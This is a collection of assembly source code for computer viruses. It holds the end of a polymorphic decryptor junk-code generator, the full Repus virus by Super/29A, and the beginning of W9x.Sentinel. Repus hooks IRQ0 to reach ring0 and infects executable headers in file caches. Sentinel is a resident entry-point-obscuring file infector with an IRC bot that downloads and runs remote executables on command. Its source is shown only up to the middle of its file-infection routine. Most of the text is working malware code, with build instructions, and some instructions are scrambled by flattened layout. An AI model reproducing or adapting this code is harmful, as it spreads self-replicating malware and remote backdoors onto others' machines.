; Decryptor Junk instructions ; EBP = location for junk GenerateJunk proc lea eax, [edi + offset GenerateOneByteJunk - Start] mov [edi + OneByteJunk - Start], eax lea eax, [edi + offset GenerateINTs - Start] mov [edi + INTs - Start], eax lea eax, [edi + offset GenNothing - Start] mov [edi + _Nothing - Start], eax lea eax, [edi + offset GenRndPutX1X2 - Start] mov [edi + RndPutX1X2 - Start], eax mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4 call random_in_range mov esi, 4 mul esi xchg esi, eax add esi, edi add esi, offset RandomJunkTable - offset Start mov eax, dword ptr [esi] call eax ret GenerateJunk endp

; Generate one byte instruction, put it in [EBP] and increase EBP with 1 ; EBP = location for generated code GenerateOneByteJunk proc lea esi, [edi + OneByteTable - Start] ; Offset of the table mov eax, offset EndOneByteTable - offset OneByteTable ; size of table call random_in_range ; Must generate random numbers add esi, eax ; Add AX ( AL ) to the offset mov al, byte ptr [esi] ; Put selected opcode in al xchg ebp, edi stosb ; And store it in EDI ( points to ; the decryptor instructions ) xchg ebp, edi ret GenerateOneByteJunk endp

; Generate INT calls and increase edi with 2 ; EBP = location for generated code GenerateINTs proc lea esi, [edi + INTsTable - Start] mov eax, offset EndINTsTable - offset INTsTable call random_in_range add esi, eax mov ah, byte ptr [esi] mov al, 0CDh xchg ebp, edi stosw xchg ebp, edi ret GenerateINTs endp

; Generate NOTHING ; EBP = location for generated code GenNothing proc ret GenNothing endp

; The same with GenPutX1X2 but with random registers and/or values ; NOTE : the registers are not the ones that are already in use GenRndPutX1X2 proc xchg ebp, edi ; random in EDX mov eax, 0FFFFh call random_in_range mov dx, ax shl edx, 10h mov eax, 0FFFFh call random_in_range mov dx, ax ; random types mov eax, 2 call random_in_range mov bl, al mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ... ; 'cause it will give Access Violation in most of the cases mov ax, bx call GenerateFuckRegs mov cl, byte ptr [ebp + reg_fuck_1 - Start] mov ch, byte ptr [ebp + reg_fuck_2 - Start] xchg call ret GenRndPutX1X2 ebp, edi GenPutX1X2 endp

; Generate MOV instructions ; Generate MOV reg1, reg2/[reg2]/val like instructions ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenMovType proc xchg ebp, edi cmp ch, 0FFh jne not_val jmp use_val not_val: cmp ch, 04h jnz not_esp

jmp mov_esp not_esp: cmp ch, 05h jnz not_ebp jmp mov_ebp not_ebp: cmp al, 0 jz word_type cmp al, 1 jz dword_type jmp MovType_End

word_type: ; reg1 = word reg cmp ah, 1 jz word_type1 ; MOV reg1, reg2 mov ax, 8B66h stosw mov al, cl mov bl, 8 mul bl add al, ch add al, 0C0h stosb jmp MovType_End word_type1: ; MOV reg1, [reg2] mov ax, 8B66h stosw mov al, cl mov bl, 8 mul bl add al, ch stosb jmp MovType_End dword_type: ; reg1 = dword reg cmp ah, 1 jz dword_type1 ; MOV reg1, reg2 mov al, 08Bh stosb mov al, cl mov bl, 8 mul bl add al, ch add al, 0C0h stosb jmp MovType_End dword_type1: ; MOV reg1, [reg2] mov al, 8Bh stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp MovType_End mov_esp: ; MOV reg1, ESP/[ESP] mov al, 8Bh

stosb cmp ah, 0 jz mov_esp2 ; MOV reg1, [ESP] mov al, cl mov bl, 8 mul bl add al, 04h stosb mov al, 24h stosb jmp MovType_End ; MOV reg1, ESP mov_esp2: mov al, cl mov bl, 8 mul bl add al, 0C4h stosb jmp MovType_End mov_ebp: ; MOV reg1, EBP/[EBP] mov al, 8Bh stosb cmp ah, 0 jz mov_ebp2 ; MOV reg1, [EBP] mov al, cl mov bl, 8 mul bl add al, 45h stosb mov al, 00h stosb ; MOV reg1, EBP mov_ebp2: mov al, cl mov bl, 8 mul bl add al, 0C5h stosb jmp MovType_End MovType_End: ret use_val: xchg ebp, edi

cmp al, 0 jne use_val_ mov al, 66h stosb mov al, 0B8h add al, cl stosb mov ax, dx stosw jmp MovType_End

use_val_: mov al, 0B8h add al, cl

stosb mov eax, edx stosd jmp MovType_End GenMovType endp

; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val ) ; EBP = location for code ; CL = reg1 (PUSH reg1) ; CH = reg2 (POP reg2) ; ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenPushPopType proc xchg ebp, edi

cmp ch, 0FFh jnz not_val_2 push ax jmp use_val_2 not_val_2: push ax cmp al, 0 jnz not_wordreg mov al, 66h stosb not_wordreg: cmp ah, 0 jz not_ebp_ cmp jnz jmp not_esp_: jnz jmp not_ebp_: jz ch, 04h not_esp_ push_esp cmp ch, 05h not_ebp_ push_ebp cmp ah, 1 push_type1

; PUSH reg2 mov al, 50h add al, ch stosb jmp Pop_reg1 push_type1: ; PUSH [reg2] mov al, 0FFh stosb mov al, 30h add al, ch stosb

; POP reg1 pop ax cmp al, 0 jnz not_wordreg__ mov al, 66h stosb not_wordreg__: mov al, 58h add al, cl stosb jmp PushPopType_End push_esp: ; PUSH [ESP] (reg2) mov ax, 34FFh stosw mov al, 24h stosb jmp Pop_reg1 push_ebp: ; PUSH [EBP] (reg2) mov ax, 75FFh stosw mov al, 00h stosb Pop_reg1: pop cmp jnz ; POP reg1 ax al, 0 not_wordreg_

mov al, 66h stosb not_wordreg_: mov al, 58h add al, cl stosb PushPopType_End:xchg ret ebp, edi

use_val_2: cmp al, 0 jnz not_wordreg___ ; PUSH val mov ax, 6866h stosw mov ax, dx stosw mov ch, cl jmp Pop_reg1 not_wordreg___: mov al, 68h stosb mov eax, edx stosd pop ax mov al, 1 mov ch, cl push ax jmp Pop_reg1

GenPushPopType

endp

; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val ) ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenXorAddType proc xchg ebp, edi cmp ch, 0FFh jnz not_val_3 jmp use_val_3 not_val_3: cmp jnz jmp push ax al, 0 not_wordreg_2 wordreg_2 ; XOR reg1, reg1 33h cl 9 0C0h

not_wordreg_2: mov al, stosb mov al, mov bl, mul bl add al, stosb

pop ax cmp ah, 0 jz dwordreg_2 cmp jz cmp jz ch, 4 add_esp ch, 5 add_ebp ; ESP ? ; EBP ?

; ADD reg1, [reg2] mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenXorAddType_End ; add_esp: ADD reg1, [ESP] mov al, 03h stosb mov al, cl mov bl, 9 mul bl add al, 04h

stosb mov al, 24h stosb jmp GenSubAddType_End ADD reg1, [EBP] add_ebp: mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 45h stosb jmp GenSubAddType_End dwordreg_2: ; ADD reg1, reg2 mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenXorAddType_End wordreg_2: ; XOR reg1, reg1 mov ax, 3366h stosw mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz wordreg_2_ ; ADD reg1, [reg2] mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenXorAddType_End wordreg_2_: ; ADD reg1, reg2 mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenXorAddType_End use_val_3: ; XOR reg1, reg1 mov al, 33h stosb ;

mov al, cl mov bl, 9 mul bl add al, 0C0h stosb ; ADD reg1, val mov al, 81h stosb mov al, 0C0h add al, cl stosb mov eax, edx stosd GenXorAddType_End: xchg ebp, edi ret GenXorAddType endp

; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val ; EBP = location for code ; CL = reg1 ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 ) ; ( in this case AH value will be ignored, no direct mem read like ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor ) ; AL = type of registry to use 0 = word ( AX, BX ... ) ; 1 = dword ( EAX, EBX ... ) ; byte registers are not used in my decryptor ; AH = 0 use direct value ( EAX ... ) ; 1 use memory address from register ( [EAX], [ESI] ... ) ; EDX = use this value instead of reg2 in case CH = 0FFh ; GenSubAddType proc xchg ebp, edi cmp ch, 0FFh jnz not_val_4 jmp use_val_4 not_val_4: cmp jnz jmp push ax al, 0 not_wordreg_3 wordreg_3 ; SUB reg1, reg1 2Bh cl 9 0C0h

not_wordreg_3: mov al, stosb mov al, mov bl, mul bl add al, stosb

pop ax cmp ah, 0 jz dwordreg_3 cmp ch, 4 jz add_esp_ cmp ch, 5 ; ESP ? ; EBP ?

jz

add_ebp_

; ADD reg1, [reg2] mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, ch stosb jmp GenSubAddType_End ; ADD reg1, [ESP] add_esp_: mov al, 03h stosb mov al, cl mov bl, 9 mul bl add al, 04h stosb mov al, 24h stosb jmp GenSubAddType_End ; ADD reg1, [EBP] add_ebp_: mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 45h stosb jmp GenSubAddType_End dwordreg_3: ; ADD reg1, reg2 mov al, 03h stosb mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenSubAddType_End wordreg_3: ; SUB reg1, reg1 mov ax, 2B66h stosw mov al, cl mov bl, 9 mul bl add al, 0C0h stosb pop ax cmp ah, 0 jz wordreg_3_ ; ADD reg1, [reg2] mov ax, 0366h stosw mov al, cl mov bl, 8

mul bl add al, ch stosb jmp GenSubAddType_End wordreg_3_: ; ADD reg1, reg2 mov ax, 0366h stosw mov al, cl mov bl, 8 mul bl add al, 0C0h add al, ch stosb jmp GenSubAddType_End use_val_4: ; SUB reg1, reg1 mov al, 2Bh stosb mov al, cl mov bl, 9 mul bl add al, 0C0h stosb ; ADD reg1, val mov al, 81h stosb mov al, 0C0h add al, cl stosb mov eax, edx stosd GenSubAddType_End: xchg ebp, edi ret GenSubAddType endp ; Return a random number in AX, between 0 and AX-1 random_in_range proc push bx dx xchg ax, bx call get_rnd xor dx, dx div bx xchg ax, dx pop dx bx ret random_in_range endp

;

Tables

RandomJunkTable: OneByteJunk INTs _Nothing RndPutX1X2 EndRandomJunkTable: OneByteTable: db db 0F8h

dd dd dd dd

offset offset offset offset

GenerateOneByteJunk GenerateINTs GenNothing GenRndPutX1X2

090h ; clc

; nop

db 0F9h db 0F5h ; db 0CCh ; db 098h ; db 099h EndOneByteTable:

; ; ; ; ;

stc cmc int 3h cbw cwd

INTsTable: ;db 01h db 08h db 0Ah db 0Bh db 0Ch ; db 0Dh db 0Eh db 0Fh ; db 1Ch db 28h db 2Bh db 2Ch db 2Dh db 70h db 71h db 72h db 73h db 74h ; db 75h db 76h db 77h ; those with ; before'em will generate an error (ussualy a blue screen) EndINTsTable: PutX1X2Table: MovType dd PushPopType XorAddType SubAddType EndPutX1X2Table: regsTable: reg_1 reg_2 reg_3 reg_key db reg_fuck_1 reg_fuck_2 regsTableEnd: _end: gfx_buffer _end_2: w_title db db 10Dh dup (0)

offset GenMovType dd offset GenPushPopType dd offset GenXorAddType dd offset GenSubAddType

db db db 0 db db

0 0 0 0 0

'DarkMillennium Project', 0

end Begin end

;=============; ; Repus virus ; ;=============; ;Coded by Super/29A ;VirusSize = 128 bytes !!!

;This is the third member of the Repus family

;-When an infected file is executed the virus patches IRQ0 handler and waits ; for it to return control to virus in ring0 ;-Once in ring0, the virus searches in all caches a valid MZheader to infect, ; modifying EntryPoint (in PEheader) so virus can get control on execution ;-It will infect no more than one MZheader at a time per file system ;-MZheader will be overwritten, however windows executes it with no problems ; (tested under win95,win98,winNT and Win2K) ;-When executing a non infected file that imports APIs from an infected DLL, ; virus will get control on DLL inicialization and infect more MZheaders

;------------------------------------------------------------------.386p .model flat,STDCALL extrn ExitProcess : near extrn MessageBoxA : near ;------------------------------------------------------------------VirusSize = (VirusEnd - VirusStart) VCache_Enum macro int 20h dw 0009h dw 048Bh endm ;------------------------------------------------------------------.data Title: db 'Super/29A presents...',0 Text: db 'Repus.' db '0' + (VirusSize/100) mod 10 db '0' + (VirusSize/10) mod 10 db '0' + (VirusSize/1) mod 10 db 0 ;-------------------------------------------------------------------

.code ;===================================================================

VirusStart: db 'M' ; dec ebp

VirusEntryPoint: db 'Z' ; pop edx

push edx dec edx jns JumpHost

; exit if we are running winNT ; IRQ0 ring0 handler

mov ebx,0C0001100h mov dl,0C3h xchg dl,[ebx] Wait_IRQ0: cmp esp,edx jb Wait_IRQ0

; hook IRQ0 to get ring0

;Now we are in ring0

xchg dl,[ebx] lea edx,[eax+(InfectCache-VirusEntryPoint)] fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] Next_FSD: VCache_Enum inc ah jnz Next_FSD call ebx ; enumerate all caches ; EDX = infection routine ; save VxD dinamic call

; try next file system

; return control to IRQ0 and return just after the CALL

;Now we are in ring3

JumpHost: jmp HostEntryPoint ; return control to host

;------------------------------------------------------------------InfectCache: xor dl,dl ; EDX = ImageBase ; EDI = MZheader

mov edi,[esi+10h]

movzx ecx,byte ptr [edi+3Ch] cmp byte ptr [edi+ecx],'P' jnz _ret ; check for PEheader

Offset3B: and eax,00000080h xchg esi,edx ; EAX = 0

; ESI = ImageBase ; EDX = Cache Block Structure

cmpsb ; check for MZheader jnz _ret mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader ; restore VxD dinamic call

fst qword ptr [esi-1+(Next_FSD-VirusStart)] inc eax ; EAX = 1

xchg eax,[edi-1+ecx+28h]

; set virus EntryPoint

sub eax,(JumpHost+5-VirusStart) jb _ret ; jump if its already infected

mov cl,(VirusSize-1) rep movsb ; copy virus to MZheader ; fix jump to host

mov [edi+(JumpHost+1-VirusEnd)],eax

;Here we are gonna find the pointer to the pending cache writes

mov ch,2 lea eax,[ecx-0Ch] ; EAX=1F4h ;-D mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer) repnz scasd jnz _ret ; not found :-( ; EDI = offset in VRP which contains PendingList pointer cmp [edi],ecx ja _ret cmp [edi+30h],ah jbe _ret ; check if there are other pending cache writes

; only infect logical drives C,D,...

;Now we are gonna insert this cache in the pending cache writes

or byte ptr [edx+32h],ah mov [edx+1Ch],edx mov [edx+20h],edx mov [edi],edx _ret: ret db '29A'

; set dirty bit

; set PendingList->Next ; set PendingList->Previous

; set PendingList pointer

VirusEnd: ;=================================================================== db 1000h dup(90h) HostEntryPoint proc near push push push push call 0 offset Title offset Text 0 MessageBoxA

push 0 call ExitProcess HostEntryPoint endp ;=================================================================== ends end VirusEntryPoint

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SENTINEL.ASM]ÄÄÄ ;........................................................................; ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; ; w9x.Sentinel 1.1 (c)oded 2000 by f0re ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; ; ; Abstract ; -------; This is the sourcecode of my first resident w32 virus. It uses advanced ; EPO (entry point obscuring) and has backdoor capabilities via IRC. ; ; ; Virus Specification ; ------------------; When an infected file is executed the decryptor receives control and ; decrypts the virus with the decryption key on the stack (see EPO ; specification). Next the virus goes resident by using the vxdcall0 ; backdoor and hooks the CreateProcess api by modifying its address in the ; kernel32.dll export table in memory. ; ; When a new process is created the virus routine receives control and, if ; not already present, launches a new thread in which an IRC bot may be ; started (see IRC-BOT specification). Next it will try to infect the ; executed file. ; ; The infection procedure consists globally of the following steps. First ; it will search for a cavity in the file's code section and if one is ; found, it laces there the JumpVirus routine (see EPO specification). ; Second it will search for the nth call or jmp opcode in the code section ; to replace it with a call to this routine (again see EPO specification). ; Third it will copy the decryptor to the end of the file. Fourth it ; encrypts and copies the other portion of the virus to the file. The ; encryption key that is used is the offset of the returnaddress of the ; patched api call/jmp. Finally, after the file is infected, the original ; CreateProcess api code is executed. ; ; ; EPO specification ; --------------------; As already described, during infection the nth api call or (indirect) ; api jmp opcode in the code section of the file is replaced by a call ; to the JumpVirus routine (n is a random number). This routine was placed ; in a cavity somewhere in the code section. The JumpVirus routine holds ; the following 14 bytes of code: ; ; JumpVirusCode: ; xxxx = virtual address of JumpToVirusEntryPoint ; JumpToVirusEntryPoint: ; mov eax, [esp] ; add eax, delta ; jmp eax ; ; From the stack this routine takes the return address from the call. Next ; a precalculated number, called delta, (calculated during infection) is ; added which gives the virtual address of the virus entrypoint. After ; jumping to the virusdecryptor code the decryption key is taken from the ; stack (this is the return address from the call) and the viruscode can ; be decrypted. ; ; For a virusscanner it is now much harder to decrypt the virus; it first ; needs to find the return address of the api call or the address of the ; cavity and the size of the virus or both to be able to decrypt the

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

virus.

IRC BOT specification --------------------When the IRC routine is launched, it will try to find an internet connection and if one is found, it launches an IRC BOT, ***a sentinel*** which goes to undernet #sntnl. There it will sit and wait for remote commands. The nickname of a sentinel consists of a randomly chosen name from a list of names followed by two random numbers. In the rest of this text the name of a sentinel is indicated by xxx. A sentinel can understand a number of commands which can be send to a sentinel privately or to all sentinels at once by sending the message to the channel. The following messages are understood: * all IRC commands, send with the following stucture: /msg xxx pass /<ircommand> <params> so for example: /msg xxx pass /privmsg #sntnl :hello there * the installer-command, send with the following structure: /msg xxx pass /ex3c [<ipnumber>] [<get-command>] where <ipnumber> = ip-number of be downloaded. server where executable should

where <get-command> = the exact protocol to retrieve the file.

command

according to the HTTP

So the command may for example look like: /msg xxx pass /ex3c [123.45.67.89] [GET /filename.exe HTTP/1.0] If a sentinel receives this command it will download the specified file. Only when the it has succesfully received the entire file it will execute the file. * the status-command, send with the following structure: /msg xxx pass /st4t If a sentinel receives this command, it will show the status the installer. Five different statuses are possible: Waiting/Unable to connect/Installing/Size error/Done * the quit-command, send with the following structure: /msg xxx pass /qu1t * the nick-command, send with the following structure: /msg xxx pass /n1ck This commands tells a sentinel 5 character long name. to change its nick into a random of

To Compile ---------tasm32 sentinel.asm /m /ml

; tlink32 -aa sentinel.obj lib\import32.lib ; ; ; Greetz ; -----; Greetz go to (in random order): Blackjack, Darkman, MrSandman, Mdrg, ; Prizzy, Benny, rgo32, Asmod, Lord Julus, Spanska, DrOwlFS, Bumblebee, ; VirusBuster, LifeWire, Gbyte, r-, veedee, spo0ky, t00fic and last but ; not least all the other people from #virus/#vxers. ; ; ;""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""; .386 .model flat, stdcall locals jumps extrn ExitProcess:PROC include inc\myinc.inc include inc\wsocks.inc .data FirstCopy: jmp RealStart Start: mov eax, dword ptr [esp] pushad call GetCurrentOffset

; decryption key

GetCurrentOffset: pop esi add esi, (RealStart - GetCurrentOffset) mov ecx, ((Leap - RealStart)/4 + 1) ; size to decrypt DecryptVirus: xor dword ptr [esi], eax add esi, 04h loop DecryptVirus DecryptionDone: popad RealStart: push ebp call GetDeltaOffset GetDeltaOffset: pop ebp sub ebp, offset GetDeltaOffset SetSEH: lea eax, [ebp + ErrorHandler] push eax push dword ptr fs:[0] mov dword ptr fs:[0], esp CheckWindowsVersion: mov eax, [ebp + kernel32address] cmp word ptr [eax], 'ZM'

; decryption routine

; set new SEH handler ; save old SEH handler ; initiate SEH frame

jne add cmp jne

ErrorHandler eax, [eax + 3ch] word ptr [eax], 'EP' ErrorHandler

RestoreSEH: pop dword ptr fs:[0] add esp, 4 jmp MainRoutines ErrorHandler: mov esp, [esp + 8] pop dword ptr fs:[0] add esp, 4 jmp CheckEpoType

; restore old SEH ; handler

MainRoutines: pushad call FIND_GETPROCADDRESS_API_ADDRESS call FIND_VXDCALL0_ADDRESS call FIND_USER32_BASE_ADDRESS call GO_RESIDENT popad CheckEpoType: cmp [ebp + epo_opcode], 15FFh jne EpoJmpExit EpoCallExit: mov eax, [ebp + epo_awaa_va] pop ebp jmp [eax] EpoJmpExit: mov eax, [ebp + epo_awaa_va] mov [esp + 4], eax pop ebp pop eax jmp [eax]

; [eax]-> va original jmp

; [eax]-> va original jmp

;==============================[ includes ]==============================;

hookstruct zip delta cs_rawsize cavity_va page_mem_size resaddress kernel32address user32address wsock32address imagehlpaddress

db 20d dup(0) db "zip",0 dd 00h dd 00h dd 00h equ ((Leap-Start) + 0fffh)/1000h dd 0 dd dd dd dd 0bff70000h 0 0 0 0 0 dup(0) dup(0)

cp_oldapicodeaddress cp_newapicodeaddress cp_oldapicode cp_newapicode k32 user32

dd dd db 06h db 06h

db "KERNEL32.dll",0 db "USER32.dll",0

imagehlp numberofnames addressoffunctions addressofnames addressofordinals AONindex

db "IMAGEHLP.dll",0 dd dd dd dd dd 0 0 0 0 0

AGetProcAddress db "GetProcAddress", 0 AGetProcAddressA dd 0 AMessageBox db "MessageBoxA",0 AMessageBeep db "MessageBeep",0 AGetSystemTime db "GetSystemTime",0 AFindFirstFile db "FindFirstFileA",0 ACreateFile db "CreateFileA",0 ASetCurrentDirectory db "SetCurrentDirectoryA",0 ASetFileAttributes db "SetFileAttributesA",0 AGetFileAttributes db "GetFileAttributesA",0 ACreateFileMapping db "CreateFileMappingA",0 AMapViewOfFile db "MapViewOfFile",0 AUnmapViewOfFile db "UnmapViewOfFile",0 ACloseHandle db "CloseHandle",0 ASetFilePointer db "SetFilePointer",0 ASetEndOfFile db "SetEndOfFile",0 AGetModuleHandle db "GetModuleHandleA",0 ASetFileTime db "SetFileTime",0 ALoadLibrary db "LoadLibraryA",0 AGetSystemDirectory db "GetSystemDirectoryA",0 AGetWindowsDirectory db "GetWindowsDirectoryA",0 AGetFileSize db "GetFileSize",0 AGetCurrentDirectory db "GetCurrentDirectoryA",0 AVxdcall0A dd 0 ACheckSumMappedFile db "CheckSumMappedFile",0 filenamebuffer maphandle mapaddress memory imagebase imagesize filealign sectionalign filehandle filesize PEheader ip_original windowtitle msgtxt myseh myfinddata rva2raw debug epo_newip epo_cs_rva epo_cs_pa epo_ipnew_va epo_ipnew_rva epo_opcode epo_aoc_pa dd dd dd dd dd dd dd dd dd dd 0 0 0 0 0 0 dd 0 0 0 0 offset OriginalHost db 100h dup(0)

db "W9x.Sentinel", 0 db "Observing the world f0revir", 0 SEH <> WIN32_FIND_DATA <> dd 0 db 01 dd 0 dd 0 dd 0 dd 0 dd 0 dw 15ffh dd 0

epo_awaa_va string ascvalues

dd offset ip_original db "ZZZZZZZZ", 0 db "0123456789ABCDEF", 0

FIND_GETPROCADDRESS_API_ADDRESS proc LoadExportTableData: mov edi, [ebp + kernel32address] ; get exporttable add edi, [edi + 3ch] ; address from mov esi, [edi + 78h] ; kernel's PE header add esi, [ebp + kernel32address] mov eax, dword ptr [esi + 18h] mov [ebp + numberofnames], eax

; save number of names

mov eax, dword ptr [esi + 1Ch] ; get ra of table with add eax, [ebp + kernel32address] ; pointers to funtion mov [ebp + addressoffunctions], eax ; addresses mov eax, dword ptr [esi + 20h] add eax, [ebp + kernel32address] mov [ebp + addressofnames], eax mov eax, dword ptr [esi + 24h] add eax, [ebp + kernel32address] mov [ebp + addressofordinals], eax ; get ra of table with ; pointers to names ; of functions ; get ra of table with ; pointers to ordinals ; of functions

BeginProcAddressSearch: mov esi, [ebp + addressofnames] ; search for GetProc mov [ebp + AONindex], esi ; Address API in names mov edi, [esi] ; table add edi, [ebp + kernel32address] xor ecx, ecx lea ebx, [ebp + AGetProcAddress] TryAgain: mov esi, ebx MatchByte: cmpsb jne NextOne cmp byte ptr [esi], 0 je GotIt jmp MatchByte

; did the entire string ; match ?

NextOne: inc cx add dword ptr [ebp + AONindex], 4 mov esi, [ebp + AONindex] mov edi, [esi] add edi, [ebp + kernel32address] jmp TryAgain GotIt: shl mov add xor mov shl mov add

; get next namepointer ; in table (4 dwords) ; align with kernelbase

ecx, 1 esi, [ebp + addressofordinals] ; ordinal = nameindex * esi, ecx ; size of ordinal entry eax, eax ; + ordinal table base ax, word ptr [esi] eax, 2 ; address of function = esi, [ebp + addressoffunctions] ; ordinal * size of esi, eax ; entry of address

mov edi, dword ptr [esi] add edi, [ebp + kernel32address] mov [ebp + AGetProcAddressA], edi ret FIND_GETPROCADDRESS_API_ADDRESS endp FIND_VXDCALL0_ADDRESS proc FindStartOfKernelExportSection: mov esi, [ebp + kernel32address] add esi, dword ptr [esi + 3ch] mov edi, dword ptr [esi + 78h] add edi, [ebp + kernel32address]

; table + base of ; addresstable ; save GPA address

; virtual address of kernel32 ; export section

GetVXDCallAddress: mov esi, dword ptr [edi + 1Ch] ; get ra of table with add esi, [ebp + kernel32address] ; pointers to funtion addresses mov eax, dword ptr [esi] add eax, [ebp + kernel32address] mov [ebp + AVxdcall0A], eax ret FIND_VXDCALL0_ADDRESS endp GETAPI proc push eax push dword ptr [ebp + kernel32address] ; load kernelbase call [ebp + AGetProcAddressA] ; and get api address jmp eax ; call the api ret ; return GETAPI endp GETUAPI proc push eax push dword ptr [ebp + user32address] call [ebp + AGetProcAddressA] jmp eax ret GETUAPI endp GETWAPI proc push eax push dword ptr [ebp + wsock32address] call [ebp + AGetProcAddressA] jmp eax ret GETWAPI endp GETIAPI proc push eax push dword ptr [ebp + imagehlpaddress] call [ebp + AGetProcAddressA] jmp eax ret

; load user32base ; and get api address

; load wsockbase ; and get api address

GETIAPI endp GO_RESIDENT proc CheckResidency: mov eax, [ebp + kernel32address] add eax, 400h cmp dword ptr [eax], 'er0f' je MemoryError ; already resident PageReserve: push 00020000h or 00040000h push page_mem_size push 80060000h push 00010000h call dword ptr [ebp + AVxdcall0A] cmp eax, 0FFFFFFFh je MemoryError mov [ebp + resaddress], eax CalculateVirusVirtualAddress: mov ecx, offset InterceptCP - Start add ecx, eax mov [ebp + cp_newapicodeaddress], ecx PageCommit: push 00020000h or 00040000h or 80000000h or 00000008h push 00000000h push 00000001h push page_mem_size shr eax, 12 push eax push 00010001h call dword ptr [ebp + AVxdcall0A] or eax, eax je MemoryError ; IN: hookstruct: ; 00 : offset api name ; 04 : old apicodeaddress ; 08 ; offset for old apicode ; 12 ; offset for new apicode ; 16 : new apicodeaddress lea eax, [ebp lea ebx, [ebp mov dword ptr lea ebx, [ebp mov dword ptr lea ebx, [ebp mov dword ptr lea ebx, [ebp mov dword ptr lea ebx, [ebp mov dword ptr call HOOK_API + hookstruct] + ACreateProcess] [eax], ebx + cp_oldapicodeaddress] [eax + 4], ebx + cp_oldapicode] [eax + 8], ebx + cp_newapicode] [eax + 12], ebx + cp_newapicodeaddress] [eax + 16], ebx

CopyVirusToMemory: cld lea esi, [ebp + Start] mov edi, [ebp + resaddress] mov ecx, Leap-Start rep movsb

SetResidentFlag: mov eax, [ebp + kernel32address] add eax, 400h shr eax, 12d ModifyPagePermissions2: push 20060000h push 00000000h push 00000001h push eax push 0001000dh call dword ptr [ebp + AVxdcall0A] cmp eax, 0FFFFFFFh je MemoryError mov eax, [ebp + kernel32address] add eax, 400h mov dword ptr [eax], 'er0f' MemoryError: ret GO_RESIDENT endp INFECT_FILE proc SetFileAttributesToNormal: push 80h lea esi, [ebp + myfinddata.fd_cFileName] push esi lea eax, [ebp + ASetFileAttributes] call GETAPI

; esi = filename

OpenFile: push 0 ; template handle=0 push 20h ; attributes=any file push 3 ; type= existing file push 0 ; security option = 0 push 1 ; shared for read push 80000000h or 40000000h ; generic read write lea esi, [ebp + filenamebuffer] push esi ; offset file name lea eax, [ebp + ACreateFile] call GETAPI cmp eax, 0FFFFFFFFh je InfectionError mov [ebp + filehandle], eax ;-------------------------------[ map file ]---------------------------------; CreateFileMapping: ; allocates the memory push 0 ; filename handle = 0 push [ebp + memory] ; max size = memory push 0 ; minumum size = 0 push 4 ; read / write access push 0 ; sec. attrbs= default push [ebp + filehandle] lea eax, [ebp + ACreateFileMapping] call GETAPI ; eax = new map handle mov [ebp + maphandle], eax

